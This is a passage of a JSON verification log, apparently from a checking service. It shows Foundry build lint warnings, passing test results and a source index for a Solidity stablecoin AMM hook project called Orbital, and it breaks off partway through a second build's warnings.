https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:761:38\n    │\n761 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:188:26\n    │\n188 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:213:20\n    │\n213 │         if (b < 0) revert PlaneUnreachable();\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:222:28\n    │\n222 │         if (chosen < tMin) revert PlaneUnreachable();\n    │                            ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:772:33\n    │\n772 │                 if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:841:50\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │                                                  ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:793:32\n    │\n793 │         uint256 qT = wT * wT + sT * sT / n;\n    │                                ━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:815:28\n    │\n815 │                 int256 k = int256(lv[l].kNorm);\n    │                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:816:64\n    │\n816 │                 if (k >= aNow && k <= aAfter && (!found || k < int256(lv[best].kNorm))) {\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:825:28\n    │\n825 │                 int256 k = int256(lv[l].kNorm);\n    │                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:826:64\n    │\n826 │                 if (k >= aAfter && k <= aNow && (!found || k > int256(lv[best].kNorm))) {\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:21\n    │\n838 │         int256 wi = int256(x[i]) - int256(s / n);\n    │                     ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:36\n    │\n838 │         int256 wi = int256(x[i]) - int256(s / n);\n    │                                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:25\n    │\n839 │         int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:31\n    │\n840 │         if (w != 0) xBound += int256(c.sb) * wi / int256(w);\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:51\n    │\n840 │         if (w != 0) xBound += int256(c.sb) * wi / int256(w);\n    │                                                   ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:13\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:841:37\n    │\n841 │         if (int256(x[i]) - xBound > int256(c.r)) revert SwapTooLarge();\n    │                                     ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":466,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 2 tests for test/Deploy.t.sol:DeployTest\n[PASS] test_deployWiresEverything() (gas: 33286845)\n[PASS] test_mineSaltFindsMatchingAddress() (gas: 17463215)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 38.91ms (58.50ms CPU time)\n\nRan 5 tests for test/OrbitalToken.t.sol:OrbitalTokenTest\n[PASS] test_fixedSupplyMintedToDeployer() (gas: 42018)\n[PASS] test_noMintOrAdminSurface() (gas: 52384)\n[PASS] test_transferFailures() (gas: 58450)\n[PASS] test_transferFromRespectsAllowance() (gas: 149978)\n[PASS] test_transferMovesExactly() (gas: 74832)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 214.76ms (539.77µs CPU time)\n\nRan 9 tests for test/OrbitalMath.t.sol:OrbitalMathTest\n[PASS] testFuzz_solveInInvertsSolveOut(uint256) (runs: 256, μ: 614592, ~: 626130)\n[PASS] testFuzz_solveOutLandsOnSphere(uint256) (runs: 256, μ: 321854, ~: 322486)\n[PASS] testFuzz_sqrtIsFloor(uint256) (runs: 256, μ: 1641, ~: 1648)\n[PASS] test_hookFlags() (gas: 592)\n[PASS] test_invariantZeroAtEqualPoint() (gas: 7631)\n[PASS] test_planeStepStaysPutAtZeroShift() (gas: 3199)\n[PASS] test_solveOutRevertsWhenDrained() (gas: 41857)\n[PASS] test_sqrtN() (gas: 3533)\n[PASS] test_tickGeometry() (gas: 12606)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 223.18ms (341.30ms CPU time)\n\nRan 15 tests for test/Reactive.t.sol:ReactiveBreakerTest\n[PASS] test_bandMath() (gas: 29851)\n[PASS] test_callbackAdminAndPayment() (gas: 190077)\n[PASS] test_callbackConstructorChecks() (gas: 10398)\n[PASS] test_callbackFailsWhenNotGuardian() (gas: 131106)\n[PASS] test_callbackRefusesNonProxy() (gas: 42580)\n[PASS] test_callbackRefusesWrongRvmId() (gas: 163825)\n[PASS] test_depegPausesThePoolEndToEnd() (gas: 287590)\n[PASS] test_inBandPriceDoesNothing() (gas: 80646)\n[PASS] test_nonPositivePriceTrips() (gas: 89442)\n[PASS] test_priceAboveBandAlsoTrips() (gas: 104912)\n[PASS] test_reactRefusesNonSystemCaller() (gas: 36537)\n[PASS] test_reactRefusesUnexpectedLog() (gas: 91668)\n[PASS] test_reactiveConfigValidation() (gas: 6388)\n[PASS] test_reactivePaymentHooks() (gas: 115375)\n[PASS] test_reactiveSubscribeManagementIsNetworkOnly() (gas: 59657)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 326.36ms (1.36ms CPU time)\n\nRan 31 tests for test/OrbitalHook.t.sol:OrbitalHookTest\n[PASS] testFuzz_exactOutMatchesQuoteAndCostsAtLeastPar(uint256) (runs: 256, μ: 1707567, ~: 1721671)\n[PASS] testFuzz_roundTripNeverProfits(uint256) (runs: 256, μ: 2362683, ~: 2618305)\n[PASS] testFuzz_swapKeepsPointOnTorus(uint256,bool) (runs: 256, μ: 1559410, ~: 1412425)\n[PASS] test_callbacksRefuseNonPoolManager() (gas: 149299)\n[PASS] test_concentratedTickNeedsLessCapital() (gas: 608724)\n[PASS] test_constructorRejectsBadConfig() (gas: 10105582)\n[PASS] test_depegIsolatesConcentratedLiquidity() (gas: 3361049)\n[PASS] test_depositRejectsBadInputs() (gas: 167669)\n[PASS] test_depositRespectsMaxAmounts() (gas: 159832)\n[PASS] test_feesAccrueToLpsAndAreCollectable() (gas: 1532115)\n[PASS] test_firstDepositOpensAtEqualPrice() (gas: 558448)\n[PASS] test_guardianCanPauseOnlyGuardian() (gas: 130913)\n[PASS] test_guardianCannotUnpause() (gas: 98845)\n[PASS] test_initializeNonBasketPoolIsPassThrough() (gas: 603738)\n[PASS] test_initializeRefusedWhilePaused() (gas: 605603)\n[PASS] test_initializeRegistersOrbitalPairs() (gas: 19217)\n[PASS] test_largeTradePinsTightTickAndUnpinsOnReturn() (gas: 2826254)\n[PASS] test_ownerAdmin() (gas: 256862)\n[PASS] test_passThroughPoolUsesPlainV4Liquidity() (gas: 1294783)\n[PASS] test_pauseBlocksSwapsAndDepositsButNotWithdrawals() (gas: 1727653)\n[PASS] test_permissionsMatchAddressBits() (gas: 16721)\n[PASS] test_roundTripNeverProfits() (gas: 1939693)\n[PASS] test_swapExactInNearPeg() (gas: 1808903)\n[PASS] test_swapExactOut() (gas: 1689037)\n[PASS] test_swapRevertsWithoutLiquidity() (gas: 132050)\n[PASS] test_swapSixDecimalsBothWays() (gas: 1935019)\n[PASS] test_swapTooLargeReverts() (gas: 612356)\n[PASS] test_v4LiquidityRefusedOnOrbitalPools() (gas: 70008)\n[PASS] test_withdrawEverythingLeavesOnlyDust() (gas: 1955542)\n[PASS] test_withdrawRejectsTooMuchAndSlippage() (gas: 626882)\n[PASS] test_withdrawReturnsDeposit() (gas: 1024660)\nSuite result: ok. 31 passed; 0 failed; 0 skipped; finished in 326.67ms (832.23ms CPU time)\n\nRan 5 test suites in 327.72ms (1.13s CPU time): 62 tests passed, 0 failed, 0 skipped (62 total tests)\n","passed":true},{"durationMs":69,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"OrbitalDepegCallback.depeg(address,address,int256,uint256)\",\"OrbitalDepegCallback.pay(uint256)\",\"OrbitalDepegCallback.receive()\",\"OrbitalDepegCallback.setRvmId(address)\",\"OrbitalDepegCallback.transferOwnership(address)\",\"OrbitalDepegCallback.withdraw(address,uint256)\",\"OrbitalDepegReactive.pay(uint256)\",\"OrbitalDepegReactive.react((uint256,address,uint256,uint256,uint256,uint256,bytes,uint256,uint256,uint256,uint256,uint256))\",\"OrbitalDepegReactive.receive()\",\"OrbitalDepegReactive.subscribe()\",\"OrbitalDepegReactive.unsubscribe()\",\"OrbitalDepegReactive.withdraw(address,uint256)\",\"OrbitalHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"OrbitalHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"OrbitalHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"OrbitalHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"OrbitalHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"OrbitalHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"OrbitalHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"OrbitalHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"OrbitalHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"OrbitalHook.collectFees(uint256)\",\"OrbitalHook.deposit(uint256,uint256,uint256[])\",\"OrbitalHook.guardianPause()\",\"OrbitalHook.pause()\",\"OrbitalHook.setFee(uint24)\",\"OrbitalHook.setGuardian(address)\",\"OrbitalHook.transferOwnership(address)\",\"OrbitalHook.unlockCallback(bytes)\",\"OrbitalHook.unpause()\",\"OrbitalHook.withdraw(uint256,uint256,uint256[])\",\"OrbitalToken.approve(address,uint256)\",\"OrbitalToken.transfer(address,uint256)\",\"OrbitalToken.transferFrom(address,address,uint256)\"],\"files\":{\".gitignore\":4,\"README.md\":295,\"foundry.toml\":23,\"launch.json\":34,\"remappings.txt\":3,\"script/DeployOrbital.s.sol\":98,\"src/HookFlags.sol\":37,\"src/OrbitalHook.sol\":862,\"src/OrbitalToken.sol\":63,\"src/base/BaseHook.sol\":210,\"src/libraries/OrbitalMath.sol\":226,\"src/reactive/IReactive.sol\":56,\"src/reactive/OrbitalDepegCallback.sol\":83,\"src/reactive/OrbitalDepegReactive.sol\":137,\"test/Deploy.t.sol\":61,\"test/OrbitalHook.t.sol\":558,\"test/OrbitalMath.t.sol\":141,\"test/OrbitalToken.t.sol\":57,\"test/Reactive.t.sol\":271,\"test/mocks/MockERC20.sol\":56,\"test/mocks/MockERC20Decimals.sol\":51,\"test/utils/OrbitalFixture.sol\":206},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"3bc93d08585c2459ade4bd881a4249e24da9f9eb35a5f3f7e49ee47724f4916a","verifiedTreeHash":"b25e23a0bc05b2ad4d1df19b10f8bab6853e1261","verifierVersion":"0.1.0+4698ca99"},{"checks":[{"durationMs":9550,"exitCode":0,"name":"build","output":"Compiling 102 files with Solc 0.8.26\nSolc 0.8.26 finished in 9.17s\nCompiler run successful with warnings:\nWarning (8760): This declaration has the same name as another declaration.\n   --> test/invariant/OrbitalHookInvariant.t.sol:303:19:\n    |\n303 |     function pair(uint256 seed, bool flip) internal view returns (PoolKey memory key, uint8 i, uint8 j, bool z) {\n    |                   ^^^^^^^^^^^^\nNote: The other declaration is here:\n   --> test/invariant/OrbitalHookInvariant.t.sol:162:5:\n    |\n162 |     function seed(uint256 level, uint256 radius) external {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nWarning (8760): This declaration has the same name as another declaration.\n   --> test/invariant/OrbitalHookInvariant.t.sol:627:26:\n    |\n627 |     function togglePause(uint256 seed) external {\n    |                          ^^^^^^^^^^^^\nNote: The other declaration is here:\n   --> test/invariant/OrbitalHookInvariant.t.sol:162:5:\n    |\n162 |     function seed(uint256 level, uint256 radius) external {\n    |     ^ (Relevant source part starts here and spans across multiple lines).\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:508:43\n    │\n508 │         if (radius == 0) return (amounts, false);\n    │                                           ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:227:28\n    │\n227 │         if (b < 0) return (false, 0, 0);\n    │                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:233:69\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                                                     ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:774:42\n    │\n774 │             return (_equalPoint(radius), false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:787:85\n    │\n787 │         if (boundary) return (_circlePoint(lv[l].kNorm, lv[l].sNorm, s, w, radius), true);\n    │                                                                                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:793:79\n    │\n793 │             return (_circlePoint(lv[top].kNorm, lv[top].sNorm, s, w, radius), false);\n    │                                                                               ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:795:60\n    │\n795 │         return (_interiorPoint(c, s, w, radius, incoming), false);\n    │                                                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:239:36\n    │\n239 │         if (chosen < tMin) return (false, 0, 0);\n    │                                    ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/libraries/OrbitalMath.sol:240:17\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                 ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n     ╭▸ src/OrbitalHook.sol:1003:56\n     │\n1003 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n     │                                                        ━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:107:39\n    │\n107 │         int256 tolerance = pegPrice * int256(bandBps) / 10_000;\n    │                                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:120:24\n    │\n120 │         int256 price = int256(log.topic_1);\n    │                        ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:20\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:49\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:137:64\n    │\n137 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:20\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:45\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:139:32\n    │\n139 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:17\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:46\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:62\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:76\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:200:29\n    │\n200 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:25\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:38\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:225:20\n    │\n225 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:226:20\n    │\n226 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:21\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:34\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ 